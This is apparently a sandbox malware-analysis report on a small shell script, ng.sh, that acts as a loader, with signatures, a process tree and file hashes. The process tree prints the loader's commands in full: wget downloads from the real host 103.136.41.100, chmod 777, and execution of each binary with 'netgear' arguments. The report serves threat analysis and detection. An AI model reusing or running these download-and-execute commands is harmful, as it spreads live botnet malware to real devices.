Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    08/01/2025, 16:10

General

  • Target
    ng.sh
  • Size 558B
  • Sample250108-tmceysvpet
  • SHA256 97ad97cf7e32f4f744878694c69bebee659c9b30b49f4fdd6bf0abcc4fea1b09
  • MD5 SHA1 SHA512

Malware Config

Signatures

  • Contacts a large (36604) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 6 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 5 IoCs
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Changes its process name 1 IoCs
  • Reads runtime system information 31 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 6 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/ng.sh
    /tmp/ng.sh
    1⤵
    • Writes file to tmp directory
    PID:713
    • /bin/rm
      rm -rf 12
      2⤵
        PID:715
      • /usr/bin/wget
        wget http://103.136.41.100/12
        2⤵
        • Writes file to tmp directory
        PID:717
      • /bin/chmod
        chmod 777 12
        2⤵
        • File and Directory Permissions Modification
        PID:735
      • /tmp/12
        ./12 netgear.1
        2⤵
        • Executes dropped EXE
        • Changes its process name
        • Reads runtime system information
        PID:736
      • /bin/rm
        rm -rf 1
        2⤵
          PID:740
        • /bin/rm
          rm -rf 2
          2⤵
            PID:745
          • /usr/bin/wget
            wget http://103.136.41.100/2
            2⤵
              PID:746
            • /bin/chmod
              chmod 777 2
              2⤵
              • File and Directory Permissions Modification
              PID:747
            • /tmp/2
              ./2 netgear.2
              2⤵
                PID:749
              • /bin/rm
                rm -rf 2
                2⤵
                  PID:750
                • /bin/rm
                  rm -rf 3
                  2⤵
                    PID:751
                  • /usr/bin/wget
                    wget http://103.136.41.100/3
                    2⤵
                    • Writes file to tmp directory
                    PID:753
                  • /bin/chmod
                    chmod 777 3
                    2⤵
                    • File and Directory Permissions Modification
                    PID:757
                  • /tmp/3
                    ./3 netgear.3
                    2⤵
                    • Executes dropped EXE
                    PID:758
                  • /bin/rm
                    rm -rf 3
                    2⤵
                      PID:760
                    • /bin/rm
                      rm -rf 4
                      2⤵
                        PID:761
                      • /usr/bin/wget
                        wget http://103.136.41.100/4
                        2⤵
                        • Writes file to tmp directory
                        PID:762
                      • /bin/chmod
                        chmod 777 4
                        2⤵
                        • File and Directory Permissions Modification
                        PID:763
                      • /tmp/4
                        ./4 netgear.4 rm -rf 4
                        2⤵
                        • Executes dropped EXE
                        PID:764
                      • /bin/rm
                        rm -rf 5
                        2⤵
                          PID:766
                        • /usr/bin/wget
                          wget http://103.136.41.100/5
                          2⤵
                          • Writes file to tmp directory
                          PID:767
                        • /bin/chmod
                          chmod 777 5
                          2⤵
                          • File and Directory Permissions Modification
                          PID:768
                        • /tmp/5
                          ./5 netgear.5
                          2⤵
                          • Executes dropped EXE
                          PID:769
                        • /bin/rm
                          rm -rf 5
                          2⤵
                            PID:771
                          • /bin/rm
                            rm -rf 6
                            2⤵
                              PID:772
                            • /usr/bin/wget
                              wget http://103.136.41.100/6
                              2⤵
                              • Writes file to tmp directory
                              PID:773
                            • /bin/chmod
                              chmod 777 6
                              2⤵
                              • File and Directory Permissions Modification
                              PID:774
                            • /tmp/6
                              ./6 netgear.6
                              2⤵
                              • Executes dropped EXE
                              PID:775
                            • /bin/rm
                              rm -rf 6
                              2⤵
                                PID:777
                              • /bin/rm
                                rm -rf ng
                                2⤵
                                  PID:778

                              Network

                                    MITRE ATT&CK Enterprise v15

                                    Replay Monitor

                                    Loading Replay Monitor...

                                    Downloads

                                    12

                                    • Path /tmp/12
                                    • Size 100KB
                                    • SHA256 0f5a3371630dc04e62f5f29894c9132acfad6181bdae8baa09e7529b58c658b0
                                    • MD5 SHA1 SHA512 SSDEEP

                                    3

                                    • Path /tmp/3
                                    • Size 77KB
                                    • SHA256 4c638becff4b023e7bba627b057d5a94f12b3d21b47685f7e6e7d2279248fbc9
                                    • MD5 SHA1 SHA512 SSDEEP

                                    4

                                    • Path /tmp/4
                                    • Size 74KB
                                    • SHA256 e60a25599c7aec9c84793549b4d4047a17712f675759458fd415f402fa4eb502
                                    • MD5 SHA1 SHA512 SSDEEP

                                    6

                                    • Path /tmp/6
                                    • Size 86KB
                                    • SHA256 6172930c38dd26e935b685df01adc36a546e7219e9d4c22968d5bf86d0399a77
                                    • MD5 SHA1 SHA512 SSDEEP

                                    ng

                                    • Path /tmp/ng
                                    • Size 1B
                                    • SHA256 01ba4719c80b6fe911b091a7c05124b64eeece964e09c058ef8f9805daca546b
                                    • MD5 SHA1 SHA512